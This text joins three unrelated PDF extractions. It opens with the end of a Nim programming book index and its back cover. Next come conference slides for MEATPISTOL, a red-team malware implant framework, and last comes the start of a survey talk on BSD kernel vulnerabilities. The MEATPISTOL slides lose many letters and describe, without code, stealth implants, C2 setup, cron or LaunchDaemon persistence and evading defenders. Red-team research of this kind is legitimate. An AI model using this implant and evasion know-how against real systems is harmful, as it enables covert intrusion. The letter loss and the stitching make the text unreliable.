hold data about client 92 final results of 98–99 processing client messages 92–95 sending messages to other clients 95 testing server without client 91–92 using sockets to transfer 79–99 asynchronous input/ output 83–91 asynchronously 91–99 data parameter 72 data parsing 179 data structures 111–117 modules 117 sets module 114–115 tables module 112–114 data variable 153 database module 192 databases retrieving data from 194–198 setting up 192–194 storing data in 189–200 testing 198–200 DbConn object 192, 195 db_mysql module 190, 192 db_postgres module 190, 192 db_sqlite module 190, 192 Debian-based distributions 284 decimal notation 27 declarative templates 261 declareVar template 258–259 default parameters 36 defined procedure 121 delete procedure 123 dependencies, specifying in Nimble 141–144 deploying web applications 219–221 configuring Jester microframework 219 setting up reverse proxy 219–221 developing controllers 210–219 adding Follow buttons 217–218 extending/routes 214 implementing / createMessage routes 215 implementing /follow routes 218–219 implementing /login routes 212–213 implementing user routes 216–217 front-page view 207–210 packages in Nimble package manager 147–148 giving meaning to version numbers 147 storing different versions of single package 147–148 user view 204–206 web application view 200–210 development environments. See IDEs directory layout, of packages in Nimble 140–141 discard keyword 34, 230 discardable pragma 239, 248 distributed version control systems. See DVCSs DLL (dynamic-link library), could not load 289–290 do keyword 14, 19 do notation 256 doAssert procedure 76, 100, 111 documentation Nimble 133 standard library 108–109 domain-specific languages. See DSLs dot character 52 double-quote character 29, 66 downloading compiler archives 284 SDL libraries 235 drawLines procedure 240–241 DSLs (domain-specific lan- guages) creating configuration 267–278 overview 7 dumpTree macro 263, 268 DVCSs (distributed version control systems) 133 dynamic linking overview 236–237 vs. static linking 227–228 dynamic type systems 8 dynamic-link library. See DLL dynlib pragma 237, 248 E echo procedure 64, 93, 110 efficiency of Nim 13 elif keyword 43 else branch 121 else keyword 43 EmbedElement type 247 empty nodes 270–271 end keyword 14, 19, 24 enum types 51–52 environment variables 286 equals character 36, 125 errors, catching ahead of time 18 escape procedure 207 event loops 87–88 except branch 48 except keyword 107 exceptions handling 47–48 in threads 159 execCmd procedure 120 execCmdEx procedure 120 execution difference between synchro- nous and asynchronous 85–86 external processes 120–121 of compile-time function 261–262 threads 155–156 execution time of parallel_counts 172–173 of sequential_counts 168 existsDir procedure 119 existsFile procedure 119 expectKind procedure 273 export marker 72 exportc procedure 246 external libraries, C program- ming language 234–242 external package 133 Licensed to <null> 295 INDEX external processes, executing 120–121 extracting, compiler archives 284–285 F F4 shortcut, Aporia 62 F5 shortcut, Aporia 288 Facebook Messenger 58 failed procedure 85 features of C ++ programming language 19 of C programming language 19 of D programming language 19 of Go programming language 19 of Java programming language 19 of Lua programming language 19 of Nim programming language 6–11, 19 compilation 9–11 instability of newer 20 memory management 11 metaprogramming 6–7 powerful type system 8–9 style insensitivity 8 of Python programming language 19 of Rust programming language 19 FFIs (foreign function interfaces) 25, 226, 261 FIFO (first-in-first-out) 176 files parsing each line in 165–166 using iterators to read frag- ments of 164–165 filesystems 118–120 fill procedure 116 fillString procedure 32, 261 filter procedure 38 filters 202 findMessages procedure 196, 200 findUser procedure 196, 200 flags argument 240 flexibility of Nim 16–18 float type 9, 26, 250 floating-point type 28 flow, controlling 43–47 FlowVar container 158 FlowVar types, retrieving return values from 158–159 fmReadWrite mode 89 Follow buttons, adding 217–218 follow procedure 195, 218 /follow route, implementing 218–219 foo identifier 258 for loop 18, 40, 44–45, 205 for statement 45 foreign function interface 226–234 static vs. dynamic linking 227–228 type compatibility 231 wrapping C procedures 228–234 foreign-key constraint 194 format string 230 forums 281 forward declaration 34 FP (functional programming) 17, 21 fragments overview 160, 169 using iterators to read 164–165 free function 232 from statement 106 front-page view, developing 207–210 full-stack applications 6 future module 38 Future type 84–85 G garbage-collected memory 154 GC (garbage collector) safety, with threads 153–156 GCC compiler 284 generics 250–254 concepts 253–254 constraining 252–253 in type definitions 252 procedures 251 get procedure 75 getAppFilename procedure 64 getCurrentDir procedure 165 getElementById procedure 244 getHomeDir procedure 118 getStr procedure 75 git tool 134 Gitter 280 global variables 173, 262 Go programming language, features of 19 group communication 58 guarded variables 174 guards, preventing race condi- tions with 174–176 GUIs (graphical user interfaces) 181 gzipped archives 160 H handling exceptions 47–48 hash character 25 hash procedure 113–114 hashes module 114 HashSet[string] variable 115 Haskell 36 header pragma 230 help community page 281 forums 281 real-time communication 280 --help flag 64 hexadecimal notation 27 hg tool 134 hidden fields 204 home directory 118 Homebrew 283 homogeneous arrays 267 Host header 184 HT (Hyper-Threading) Technology 152 HTML templates 7 htmlgen module 202 httpclient module 126–127 hygiene, of templates 259–260 hyphens 139 I I/O (input/output) asynchronous 83–91 await keyword 88–91 difference between syn- chronous and asynchro- nous execution 85–86 event loops 87–88 Licensed to <null> 296 INDEX I/O (input/output), asynchro- nous (continued) example using callbacks 86–87 Future type 84–85 reading data from input streams 66–68 retrieving input in client components 63–70 reading data from stan- dard input streams 66–68 retrieving command-line parameters supplied by users 63–65 using spawn to avoid block- ing input/output 68–70 using spawn to avoid blocking 68–70 ident argument 274 Ident node 264 identifiers, comparing 8 IDEs (integrated development environments) Aporia, installing 287 testing new 287–289 if statement 24, 43 immutable variables 30, 53 import keyword 26, 71, 103, 106 import statement 96 importc pragma 230, 234, 248 importcpp pragma 245, 248 impure modules 108 in keyword 43 increment procedure 174, 178 indentation 23–24, 53 IndexError exception 64 indexing operator 51 index-out-of-bounds exception 41 Infix node 264 init command 139, 187 init type 9 initTable procedure 113 injected variables 259 input streams 63 input/output. See I/O instability, of newer features 20 install command understanding 136–139 using 135 installing Aporia IDE 287 compiler 282–286 building from C sources 283–286 getting up-to-date installa- tion info 282–283 verifying installation 286 Nim, troubleshooting 289–290 Nimble package manager 130 Nimble packages 135–139 int type 250 int64 type 27 int8 type 27 integer type 26–27 integrated development envi- ronments. See IDEs interfaces. See Canvas API; for- eign function interface interfacing with OSs executing external processes 120–121 generic operating system services 122 with other programming lan- guages JavaScript backend 242–247 through foreign function interface 226–234 wrapping external C pro- gramming language libraries 234–242 working with filesystems 118–120 internet, networking and 126–127 interpreter 11 IntLit node 264 intsets module 111 IoT (Internet of Things) 5 IRC (Internet Relay Chat) 58, 280 is operator 254 isMainModule constant 76 isReady procedure 69, 158 isRootDir procedure 119 items iterator 46, 110 __iter__ method 46 iterators, reading file fragments with 164–165 J Java programming language, features of 19 JavaScript, backend 242–247 using Canvas API wrapper 246–247 wrapping canvas elements 243–246 Jester 183–184, 188, 219 js command 287 JSON (JavaScript Object Nota- tion) generating 78–79 parsing 72–78 json module 73, 122 JsonNode type 73–74 JsonNodeKind type 73 K KeyError exception 75 keywords 23, 33, 88–91 L lazy evaluation 250 len procedure 110 let keyword 30–31 libName 237 libraries external C programming language 234–242 SDL (Simple DirectMedia Layer) creating wrappers for 235–236 downloading 235 libvlc 130 LIMIT keyword 198 line feed 28 lineFlowVar variable 158 lines iterator 164 lineTo procedure 244 linking dynamic 236–237 static 227–228 list variable 18 listen procedure 83, 91 lists module 111 load procedures generating 275–277 overview 105, 269 localhost 83 Licensed to <null> 297 INDEX localtime procedure 231–233 lock mechanism 174 locks overview 179 preventing race conditions with 174–176 logging module 250 /login routes, implementing 212–213 loop procedure 91 Lua programming language, features of 19 M macro_rules 19 macros 260–267 abstract syntax trees 262–265 arguments in 266–267 compile-time function execution 261–262 defining 265–266 macros module 264–265 main function 14, 288 main thread 68 many-to-many communication 58 map procedure 18 mapIt procedural 259 math module 141, 144 Measure-Command 168 memory errors 9 memory management 11 Message type 72, 191 messageFlowVar 97 messages client, processing 92–95 sending and receiving between threads 176–178 sending to clients 95 metaprogramming creating configuration DSLs 267–278 generating constructor procedures 274–275 generating load procedures 275–277 generating object types 270–274 starting configurator project 268–270 testing configurators 278 generics 250–254 concepts 253–254 constraining 252–253 in type definitions 252 procedures 251 macros 260–267 abstract syntax trees 262–265 arguments in 266–267 compile-time function execution 261–262 defining 265–266 templates 254–260 hygiene 259–260 parameter substitution in 257–258 passing code blocks to 256–257 microframeworks Jester, configuring 219 routing in 183–184 MinGW package 283 modules core 110–111 for threads 153, 155–156 impure 108 namespacing 105–107 pure 107–108 sets 114–115 tables 112–114 threadpool 156–159 defined 157 executing 155–156 retrieving return values from FlowVar types 158–159 using spawn with 157–158 moduleVersion variable 103, 106 MongoDB 190 mostPopular variable 172 moveTo procedure 244 mult procedure 140 multiline comment, creating 25 multiLine variable 30 multitasking 151 mutable variables 53 MyAppConfig object 269 myMax procedure 251, 253 MyPkg.nimble file 133 myProc procedure 34 myUndeclaredVar 258 N name variable 216 namespacing 105–107 net module 82, 126 netAddr field 80 network architectures 59–60 network functionality, adding to clients 95–98 networking, internet and 126–127 New Repository button, GitHub 145 newException procedure 47 newIdentNode procedure 272 newline escape sequence 28, 168 newSeq procedure 41–42 newServer procedure 81–82 newSocket constructor 82 Nim programming language adding to PATH 286 advantages of 12–20 catches errors ahead of time 18 efficient 13 flexible 16–18 readable 13–14 stands on its own 14–15 command not found 289 compiler C compiler disagrees on target architecture 289 compiling 285 downloading archives 284 extracting archives 284–285 installing 282–286 moving archive to safe location 284–285 defined 4–12 features of 6–11, 19 compilation 9–11 memory management 11 metaprogramming 6–7 powerful type system 8–9 style insensitivity 8 implementation of 11–12 installing Aporia IDE 287 testing new IDE 287–289 troubleshooting 289–290 shortcomings of 20 use cases 4–6 .nimble files, writing 141–144 Licensed to <null> 298 INDEX nimble init command 149, 268 nimble install command 148 Nimble package manager command-line tool 131 creating packages in 139–144 choosing names 139 Nimble package directory layout 140–141 specifying dependencies 141–144 writing .nimble files 141–144 developing packages in 147–148 giving meaning to version numbers 147 storing different versions of single package 147–148 installing 130 installing packages 135–139 understanding install command 136–139 using install command 135 package directory layout 140–141 packages, defined 131–134 publishing packages 145–146 nimble publish command 149 NimKernel 5 NimNode 266 nnk prefix 272 nnkEmpty node 272 nnkIdent node 272 nominative typing 50 nonblocking behavior 177 non-ref types 50 NoSQL database 190 NOT NULL key constraint 194 notInjected variable 259 number variable 30–31 numbers sequence 38 numbers variable 112 O -o flag 62 object keyword 49 object types generating 270–274 overview 49–50 OCaml 36 octal notation 27 of branch 44 oldBufferLen 171 one-to-one communication 58 online documentation 108–109 OOP (object-oriented pro- gramming) 7, 16–17 open procedure 177, 192 openAsync procedure 87 OpenSSL library 225 operator 51, 74–75, 124 ORDER BY keyword 198 os module 63, 118–120, 127 osinfo package 121 osproc module 120–121 OSs (operating systems), inter- facing with 117–122 executing external processes 120–121 generic operating system services 122 working with filesystems 118–120 overloading procedures 37–38 P packages creating in Nimble package manager 139–144 choosing names 139 Nimble package directory layout 140–141 specifying dependencies 141–144 writing .nimble files 141–144 defined 131–134 developing in Nimble pack- age manager 147–148 giving meaning to version numbers 147 storing different versions of single package 147–148 directory layout of 140–141 installing in Nimble package manager 135–139 publishing with Nimble pack- age manager 145–146 storing different versions of 147–148 Pageview API, Wikipedia 160 pairs iterator 46 Par node 264 parallel_counts, execution time of 172–173 parallelism concurrency vs. 151–152 dealing with race conditions 173–178 preventing with guards 174–176 preventing with locks 174–176 sending and receiving mes- sages between threads using channels 176–178 parsers 168–173 execution time of parallel_ counts 172–173 measuring execution time of sequential_counts 168 parallel readPageCounts procedure 171–172 parallelizing sequential_ counts 168–169 parse procedure 169 parseChunk procedure 170 type definitions 169 parsing data 159–167 parsing Wikipedia page- counts format 161–164 processing each line of Wikipedia page-counts files 164–167 understanding Wikipedia page-counts format 160–161 sequential_counts 168–169 using threads in Nim 153–159 exceptions in threads 159 GC (garbage collector) safety 153–156 thread pools 156–159 threads modules 153–156 param1 variable 123 paramCount procedure 64, 100 parameters command-line 63–65 of procedures 36 substitution of, in templates 257–258 paramStr() procedure 63, 100, 122 Licensed to <null> 299 INDEX parentDir procedure 119 parentheses 116 parse procedure 166, 169 parseChunk procedure 169–170 parseJson procedure 74 parseMessage procedure 72, 79 parseopt module 64, 125 parsers, parallelizing 168–173 execution time of parallel_ counts 172–173 measuring execution time of sequential_counts 168 parallel readPageCounts procedure 171–172 parallelizing sequential_ counts 168–169 parse procedure 169 parseChunk procedure 170 type definitions 169 parseutils module manually parsing data with 163–164 overview 125 parsing command-line arguments 122–126 data 159–167 in Wikipedia page-counts format 161–164 manually using parseutils module 163–164 manually using split procedure 162–163 processing each line of Wikipedia page-counts files 164–167 understanding Wikipedia page-counts format 160–161 using regular expressions 161–162 each line in files 165–166 JSON 72–78 parsingex application 123 PascalCase 33 PATH variable adding Nim programming language to 286 overview 289 path-manipulation procedures 118 PCRE library 108 peer-to-peer networking 59 ping messages 99 PNG library, Python 105 pointer arithmetic 9 points array 240 points parameter 239 poll procedure 88, 90, 97, 159 pollEvent procedure 239 pop pragma 238 printf prototype 229 private keyword 72 proc keyword 33, 39, 53 procedural macros 261 procedural programming 21 procedures anonymous 38–39 constructor, generating 274–275 generic 251 load, generating 275–277 overloading 37–38 parameters of 36 returning values from 35–36 wrapping in C programming language 228–230 in SDL (Simple Direct- Media Layer) 238–240 processMessages procedure 93–94 programming languages, differentiating 8 protocol module 72–73, 79, 103, 139 protocols, implementing 70–79 generating JSON 78–79 modules 71–72 parsing JSON 72–78 ptr type 9 public keyword 72 publishing packages, with Nim- ble package manager 145–146 pull request 146 pure modules 107–108 pure pragma 52 push pragma 238 Python programming lan- guage, features of 19 Q queues module 111 quit procedure 64, 110 quote procedure 276 R -r option 287 race conditions 173–178 sending and receiving mes- sages between threads 176–178 using guards to prevent 174–176 using locks to prevent 174–176 raise keyword 47 raise statement 159 randomNumber variable 106 re module 108, 161 readability, of Nim program- ming language 13–14 readAll procedure 87 readChars procedure 171 readFile function 87 reading data, from standard input streams 66–68 readLine procedure 68, 97 readPageCounts procedure overview 165 parallel version of 170–172 real-time communication, to get help 280 receiving messages, between threads using channels 176–178 recv procedure 82, 177 recvLine procedure 96 redirect procedure 218 Redis 190 ref keyword 49 ref object 246 ref types 50 regular expressions, parsing data with 161–162 renderer.clear statement 241 renderLogin procedure 207 renderMain procedure 185, 207 renderMessages procedure 205 renderTimeline procedure 207–208, 214 renderUser procedure 185, 201, 204–205 repeat template 257 repository 134 repr procedure 110 result variable 36, 53, 170, 273 resultChan channel 178 resultVar procedure 36 Licensed to <null> 300 INDEX resultVar2 procedure 36 resultVar3 procedure 36 retrieving command-line parameters supplied by users 63–65 data from databases 194–198 input in client components 63–70 reading data from stan- dard input streams 66–68 using spawn to avoid block- ing input/output 68–70 return values from FlowVar types 158–159 return keyword 35 returning values, from procedures 35–36 reverse procedure 116 reverse proxy, setting up 219–221 root node 263 root variable 262 route extending 214 overview 183, 210 routes block 217 Rumpf, Andreas 4, 20 Rune type 28 runForever procedure 87, 89 runtime errors 23 Rust programming language, features of 19 S sayHello procedure 177 SDL (Simple DirectMedia Layer) 234 libraries creating wrappers for 235–236 downloading 235 using wrappers 240–242 wrapping procedures 238–240 wrapping types 237–238 sdl module 236 SdlEvent type 239 SDL_INIT_VIDEO flag 240 SdlRenderer 238–239 SdlRendererPtr 239 SdlWindow 238–239 SdlWindowPtr 239 search command 134–135 seconds variable 234 semicolon 24, 286 send procedure 82, 177 sending messages between threads using channels 176–178 to clients 95 seq type 41 sequence type 41–42 sequential_counts measuring execution time of 168 parallelizing 168–169 sequtils module 42 server component 60 server module 79 Server type 80 serverAddr variable 64 servers components of 60–61 testing without clients 91–92 set type 42–43 Set-Cookie header 213 setLen 166 sets module 111, 114–115 setup procedure 198 shared library files 236 sharing memory 173 shortcomings of Nim 20 showData thread 154 showNumber procedure 9 Simple DirectMedia Layer. See SDL Sinatra 183 Slack 58 Slice object 124 SMT (simultaneous multi- threading) technology 152 smtp module 126 snake_case 8 socket variable 96 sockets defined 82–83 transferring data with 79–99 asynchronous I/O 83–91 asynchronously 91–99 sort procedure 115 sorted procedure 116 spawn using to avoid blocking input/output 68–70 using with threadpool modules 157–158 split procedure manually parsing data with 161–163 overview 124 splitFile procedure 119 splitLines iterator 170 splitPath procedure 119 sql procedure 193 SQLite library 102 square brackets 69, 159 src directory 186 standard library algorithms 111–117 core modules 110–111 data structures 111–117 modules 117 sets module 114–115 tables module 112–114 for networking 126–127 interfacing with OSs 117–122 executing external processes 120–121 generic operating system services 122 working with filesystems 118–120 manipulating data 122–126 modules 103–107 overview 107–109 impure modules 108 online documentation 108–109 pure modules 107–108 wrappers 108 understanding data 122–126 startsWith integer 124 statements identifier 256 statements, splitting 24 static keyword 265 static linking, vs. dynamic linking 227–228 static type systems 8 staticExec procedure 262 staticRead procedure 262 Stats type 169–170 stdin variable 66 StmtList node 264, 277 storage duration 232 storing data in databases 189–200 setting up databases 192–194 Licensed to <null> 301 INDEX storing, data in databases (continued) setting up types 190–192 testing databases 198–200 defining storage 30–33 different versions of single package 147–148 streams, reading data from 66–68 string formatting operator 201 string type 26, 29–30 stropping 23 struct tm type 232 structural typing 50 structures of data 111–117 modules 117 sets module 114–115 tables module 112–114 strutils module 8, 18, 30 style insensitive 6, 8, 32 subroutines 16, 33 subscribing, Twitter 185 substitution, of parameters in templates 257–258 substr procedure 110 surname argument 37 switch statements 44 synchronous execution 85–86 syntax abstract syntax trees 262–265 comments 25 indentation 23–24 keywords 23 system module 26, 42, 110, 127 system.cmp procedure 116 system-level package managers 129 T tables module 111–114, 127 tags 134 tailDir procedure 119 target architecture, Nim and C compiler disagree on 289 task 151 TCP sockets 82 telnet application 91 templates 254–260 hygiene 259–260 parameter substitution in 257–258 passing code blocks to 256–257 testing configurators 278 new IDEs 287–289 server without clients 91–92 thread module 111 threadpool modules 156–159 defined 157 executing 155–156 retrieving return values from FlowVar types 158–159 using spawn with 157–158 threads 153–159 exceptions in 159 GC (garbage collector) safety 153–156 modules 153–156 sending and receiving mes- sages between, using channels 176–178 using pools 156–159 defined 157 retrieving return values from FlowVar types 158–159 using spawn with 157–158 time command 172 time procedure 231 TimeInfo object 191, 213 TimeInterval object 213 time_t type 232 tokens 170 toLowerAscii 124 top-level statements 288 toString parameter 203, 207 toUpper procedure 8 toUpperAscii 124 transferring data asynchronously 91–99 adding network functional- ity to client 95–98 creating new Client instance to hold data about client 92 final results of 98–99 processing client messages 92–95 sending messages to other clients 95 testing server without client 91–92 using sockets 79–99 asynchronous I/O (input/ output) 83–91 asynchronously 91–99 transport protocol 60 triple-quoted string literals 30 troubleshooting 289–290 could not load DLL 289–290 Nim and C compiler disagree on target architecture 289 Nim command not found 289 try keyword 48 try statement 47–48 tryRecv procedure 177 tuple types 50–51 tuple unpacking 51, 92 Tweeter, architecture of 185–186 Twitter clones, building architecture of web applications 181–186 deploying web applications 219–221 developing controllers 210–219 developing web application view 200–210 getting started 186–189 storing data in databases 189–200 type classes 253 type definitions 169, 252 type keyword 113 type mismatch error 251 type section 49, 53 type systems 8–9 typed arguments 258 typedesc parameter 267 types compatibility of 231 wrapping in C programming language 231–234 in SDL (Simple Direct- Media Layer) 237–238 See also basic types; collection types; object types; user- defined types U UDP sockets 82 UFCS (Uniform Function Call Syntax) 17, 107 Uint32 type 238 underscore character 8, 32, 51, 171 Licensed to <null> 302 INDEX Unicode characters 32 unicode module 28–29, 124 unindent procedure 30 UNIX time 194 unsigned integer 27 untyped arguments 258 user routes, implementing 216–217 User type 191 user view, developing 204–206 user-defined types 49–52 enums 51–52 objects 49–50 tuples 50–51 userLogin procedure 217 users, retrieving command-line parameters supplied by 63–65 utils module 140 V values, returning from procedures 35–36 var keyword 31, 33 variables defining 30–33 overview 115 varName variable 259 --ver flag 131, 134 ver variable 121 verifying installation of compiler 286 version field 138 version key 147 versions numbers for, giving meaning to 147 storing different versions of single package 147–148 view of front page 207–210 of user 204–206 of web applications 200–210 VM (virtual machine) 15 void procedure 34 W waitFor procedure 89 walkDir iterator 119 walkFiles iterator 45 web applications architecture of 181–186 architecture of Tweeter 185–186 routing in microframe- works 183–184 deploying 219–221 configuring Jester micro- framework 219 setting up reverse proxy 219–221 web pages, retrieving 127 WhatsApp 58 when statement 121 WHERE clause 198 while loop 44, 96, 163 while statement 67 whitespace character 163 Wikipedia page-counts files, processing each line 164–167 finding most popular article 166–167 format parsing 161–164 understanding 160–161 windows symbol 121 wrappers Canvas API 246–247 SDL (Simple DirectMedia Layer) creating for libraries 235–236 using 240–242 wrapping C programming language procedures 228–230 C programming language types 231–234 canvas elements 243–246 external C libraries 234–242 creating wrappers for SDL library 235–236 downloading SDL library 235 dynamic linking 236–237 using SDL wrappers 240–242 wrapping SDL procedures 238–240 wrapping SDL types 237–238 writeFile procedure 118 writing .nimble files 141–144 chat applications first steps 61–62 implementing protocols 70–79 retrieving input in client components 63–70 transferring data using sockets 79–99 X XML parsers 122 xmldom module 122 xmltree module 122, 203 Y Yum-based distributions 284 Licensed to <null> Nim Reference (continued) Common infix operations (highest precedence first) * Multiplication / Division (returns float) div Division (returns integer) mod Modulus shl Bit shift left shr Bit shift right % String formatting + Addition - Subtraction & Concatenation .. Constructs a slice == <= < >= > != not Boolean comparisons in notin Determines whether a value is within a container is isnot Compile-time type equivalence of Run-time instance of type check and Bitwise and boolean and operation Collections string seq[T] Table[T] "Hello World" @[1, 2, 3, 4] import tables initTable({"K": "V"}) str.add("Hi") list.add(21) table["Key"] = 3.5 list.del(2) list.delete(2) table.del("Key") "Hi"[0] 'H' @[1,2][0] 1 table["Key"] 3.5 "Hi"[^1] 'i' @[1,2][^1] 2 "b" in table false "Hey"[0..1] "He" @[1,2,3][0..1] 1,2 "Hey"[1..^1] "ey" @[1,2,3][1..^1] 2,3 Licensed to <null> Dominik Picheta N im is a multi-paradigm programming language that offers powerful customization options with the ability to compile to everything from C to JavaScript. It can be used in any project and illustrates that you don’t have to sacrifi ce performance for expressiveness! Nim in Action is your guide to application development in Nim. You’ll learn how Nim compares to other languages in style and performance, master its structure and syntax, and discover unique features. By carefully walking through a Twitter clone and other real-world examples, you’ll see just how Nim can be used every day while also learning how to tackle concurrency, package fi nished applications, and inter- face with other languages. With the best practices and rich examples in this book, you’ll be able to start using Nim today. What’s Inside ● Language features and implementation ● Nimble package manager ● Asynchronous I/O ● Interfacing with C and JavaScript ● Metaprogramming For developers comfortable with mainstream languages like Java, Python, C++ or C#. Dominik Picheta is one of the principal developers of Nim and author of the Nimble package manager. To download their free eBook in PDF, ePub, and Kindle formats, owners of this book should visit www.manning.com/books/nim-in-action $49.99 / Can $65.99 [INCLUDING eBOOK] Nim IN ACTION PROGRAMMING LANGUAGES M A N N I N G “ A great resource for an incredibly powerful language.” —Jonathan Rioux, TD Insurance “ Gives readers a solid foundation in Nim, a robust and fl exible language suitable for a variety of projects.” —Robert Walsh Excalibur Solutions “ A great job breaking down the language. This book will no doubt become the de facto learning guide in the Nim space.” —Peter J. Hampton Ulster University “ A goldmine for Nim programmers; great insights for any general programmer.” —Cosimo Attanasi, ER Sistemi SEE INSERT
pdf
MEATPISTOL A Modular Malware Implant Framework Presened by: @ceyxies and @fzzynop Biographical Summary: ? HERE TO TALK ABOUT— A GUN MADE OF MEAT ...THAT SHOOTS MALWARE BULLETS? This is a tool for... RED TEAM You mean "Pentesting?" "Fundamentally a framework for creating, managing, and interacting with stealth implants that support persistent adversarial operations" Red Team Operating Paradigm Scope: any sysems, hmans, or processes employed by he company #Yoloscope We choose he arges, se he rles of engagemen, we se as mch ime as necessary #NoScopeBias Seal sff for real, inciden responders rea s like we are real, ry no o ge cagh, ry o win by any means necessary Read o or resls o large adiences, branded operaions, craf propaganda Have an impac. Origin Story. New Job, who dis? “Hey go hack sff” “case an impac” “Don’ ge cagh” “Go shell ye?” fine. Js ge some malware and SE my arge o rn i. Ooops. All the decent malware was for windows. my_first_malware.jpg Snail— Pyhon Based Reverse SSH Tnneling Tool Used wier for C2 resolion based on a lexicon Cronab or LanchDaemon persisence Random schedling Obfscaed Generaor scrip Worked Good For like a year. Problems Ble Team— does no like geing wrecked by pyhon Problems Ble Team wries specific deecions for Red Team Problems Aribion of Red Team ges really good. Problems Abiliy o be a good Boogeyman goes down. Problems And we have a bnch of spaghei code. Time to iterate, write new malware Trles: Flly implemened SSH clien and server wrien in java Rio: Anoher SSH reverse nneling ool wrien flly in bash So great! New malware, new tricks DJ KHALED WE DA BESSSSS But, the status quo was... We ended p rewriing malware each ime we waned somehing new We had o sand p all or own C2 each ime We had o manage and configre all or C2 We had o manage all or keys and cerificaes for or C2 I ook ime and effor, and a lo of i AND... I’s prone o errors: Accidenally resed a C2… which go s aribed Accidenally conneced o C2 from he wrong place Broken shells and broken dreams Shell dies and never comes back Used he same cer across mliple C2s THIS WAS PAINFUL Unreliable Impossible o mainain Impossible o rly ierae Really hard o add feares Plus we still have spaghetti code Wouldn’t it be nice if... You didn't have to write things from scratch every time... And cutting a new malware implant took seconds? And you could pick the features you wanted for that implant... and C2 server infrastructure spinup happened automagically... ...and each sample was unique... ...and each C2 endpoint was unique ...and you didn’t have to manage keys for each C2 server... Wouldn’t it be nice if the malware was just super fugging awesome! So that's what we built. Core Core Essentially a Microkernel Core Core Event Loop Execution Core Event Loop Scheduler Loop Execution Execution Core Event Loop Scheduler Loop Execution Execution Job: Provide he mechanism o commnicae o he C2 I’m Mr. C2 Module Core Event Loop Scheduler Loop Execution Execution Modles regiser wih he core on sarp. LOOK AT MEEEE!!! Core Event Loop Scheduler Loop Execution Execution I’ll lisen for C2_CONNECT and C2_DISCONNECT evens. If yo wan o change he sae of connecion o he meapisol nework hen rigger he relevan even. CAAAN DOO! Core Event Loop Scheduler Loop Execution Execution C2 Core Event Loop Scheduler Loop Execution Execution C2 Persistence Core Event Loop Scheduler Loop Execution Execution File C2 Persistence Core C2 Loot Event Loop Scheduler Loop Execution Execution File Persistence Core Exec C2 Loot Event Loop Scheduler Loop Execution Execution File Persistence Core Exec C2 Hide Loot Event Loop Scheduler Loop Execution Execution File Persistence Core Event Loop Scheduler Loop Execution Execution How does everything communicate? Client to Client Uni-directional Persistent Many Reader Many Writer Read() Write() Attach() Detach() Close() CHANNEL NETWORK ARCHITECTURE DEMO TIME AND POST. ALPHA AF Malware implant creation used to take days. Now it takes seconds. Weeks off our operation time. ... once you get locked into a serious malware collection, the tendency is to push it as far as you can. The best way to increase the arsenal? Share it. … or not. Ok. you are probably wondering about the name. Meapisol Enhralls A ngry Tyrans P roposing I nimae Sexy-imes Teasing Oligarch Llamas Marginally Erec A lpacas Tacically P rsing I nernaional Slave Trading Oligarch Llamas Modlar Embedded A dversary Tooling P I S T O L laform It's natural to want to compare... PEOPLE ASK US: How's this different than metasploit? PEOPLE ASK US: Is this the same as Cobalt Strike? PEOPLE ASK US: But did you hear about Empire Project? PEOPLE ASK US: They dumped fuzzbunch isn't that the same? MEATPISTOL is not an exploit database. MEATPISTOL is not click to win. MEATPISTOL is not a post exploitation agent. MEATPISTOL is not a bag of cool tricks. MEATPISTOL is a MEAT CANNON THAT SHOOTS OUT MALWARE IMPLANTS MEATPISTOL is a framework for Red Teams to create better implants. MEATPISTOL is multi-user implant management and interaction portal MEATPISTOL is an offensive infrastructure automation tool MEATPISTOL is something that has saved us a lot of time and pain. Now it’s yours. #SOON THANK YOU Questions? SKURRT SKURRRT Good Sir.
pdf
Are all BSDs created equally? A survey of BSD kernel vulnerabili9es.; ! ! ! Ilja!van!Sprundel!<ivansprundel@ioac4ve.com>! Who Am I; •  Ilja!van!Sprundel!! •  ivansprundel@ioac4ve.com! •  Director!of!Penetra4on!Tes4ng!at!IOAc4ve!! •  Pen!test! •  Code!review! •  Break!stuff!for!fun!and!profit!J!! Outline/Agenda ; •  Intro! •  Data!! •  vulnerabili4es!over!the!years! •  Test!by!audit! •  Common!aJack!surface!! •  Somewhat!less!common!aJack!surface!! •  Some!results!/!conclusions!! What is this talk about? ; •  BSD!kernel!vulnerabili4es!! •  Comparison!! •  Between!different!BSD!flavors!! •  Audience!! •  Low!level!security!enthusiasts!! •  UNIX/BSD!geeks!! •  I!suspect!Linux!folks!might!enjoy!this!too!J! •  Curious!people!that!like!to!poke!around!in!OS!internals! •  Knowledge!! •  Some!basic!knowledge!of!UNIX!/!BSD!internals!!! Standing on the shoulders of giants; •  Previous!interes4ng!BSD!kernel!security! research!by:!! •  Silvio!! •  the!noir! •  Esa!Etelavuori! •  Patroklos!(argp)!Argyroudis! •  Christer!Oberg!! •  Joel!Erikkson!! •  Clement!Lecigne! intro; Really? Got Data?; •  Somehow!that!statement!has!always! been!stuck!in!my!head!! •  Is!it!true?!! •  Can!we!look!at!some!data!?!! Source: hFps://www.cvedetails.com/product/47/Linux-Linux-Kernel.html; Data! ; •  Goes!from!current!back!to!1999!for!Linux!kernel!vulnerabili4es!! •  Cvedetails.com!doesn’t!seem!to!provide!data!for!OBSD/NBSD/FBSD!! •  Manually!grab!it!from!! •  hJps://www.freebsd.org/security/advisories.html! •  hJp://netbsd.org/support/security/advisory.html! •  hJps://www.openbsd.org/errata*.html! BSD kernel vulnerabili9es over the years ; •  Looking!at!these!numbers,!that!was!an!astute! observa4on!by!Theo.!! •  20!was!a!very!low!es4mate!! •  But!are!these!numbers!on!equal!foo4ng?!! •  Many!eyeballs?!! •  Yea,!yea,!I!know!….!But!is!there!some!truth!to!it!in!this! case?!!! FreeBSD! NetBSD! OpenBSD! 1999! 3! 8! 10! 2000! 8! 4! 15! 2001! 6! 7! 13! 2002! 11! 6! 11! 2003! 7! 3! 8! 2004! 8! 5! 13! 2005! 11! 8! 4! 2006! 9! 15! 6! 2007! 1! 4! 9! 2008! 8! 6! 7! 2009! 5! 1! 4! 2010! 3! 6! 8! 2011! 1! 2! 3! 2012! 2! 1! 0! 2013! 8! 8! 6! 2014! 7! 6! 10! 2015! 7! 2! 6! 2016! 12! 1! 17! 2017! 1! 3! 13! Total! 118! 96!!!!!!!!!!!!!163! Test by audit!; •  Silvio!Cesare!did!some!interes4ng!work!in!~2002!that!gives! some!answers!!! •  hJps://www.blackhat.com/presenta4ons/bh-usa-03/bh- us-03-cesare.pdf!! •  His!results!seem!to!indicate!there!isn’t!really!that!much!of!a! 